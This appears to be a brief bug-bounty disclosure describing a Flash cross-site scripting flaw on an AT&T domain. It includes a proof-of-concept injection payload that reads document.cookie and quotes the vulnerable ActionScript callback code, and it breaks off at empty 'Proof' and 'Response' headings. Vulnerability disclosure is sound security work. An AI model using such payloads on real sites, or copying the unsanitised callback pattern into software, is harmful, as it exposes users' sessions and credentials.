I found a Flash XSS at AT&T main domain where an attacker could stealing credentials of users.
Payload: JSAM.flashCompleteHandler);}catch(e) {alert(document.cookie);}//
Payload: JSAM.flashCompleteHandler);}catch(e) {alert(document.cookie);}//
Flash Vuln Code:
public function videoPlayer_completeHandler(_arg1:VideoEvent):void{ if (ExternalInterface.available){ ExternalInterface.call(completeHandler, ExternalInterface.objectID); } else { trace("JSAM_VideoPlayer cannot call completeHandler because ExternalInterface is not available."); }; }
Proof:
After 2 months AT&T Response:
I hope to be on the top 10 Award :)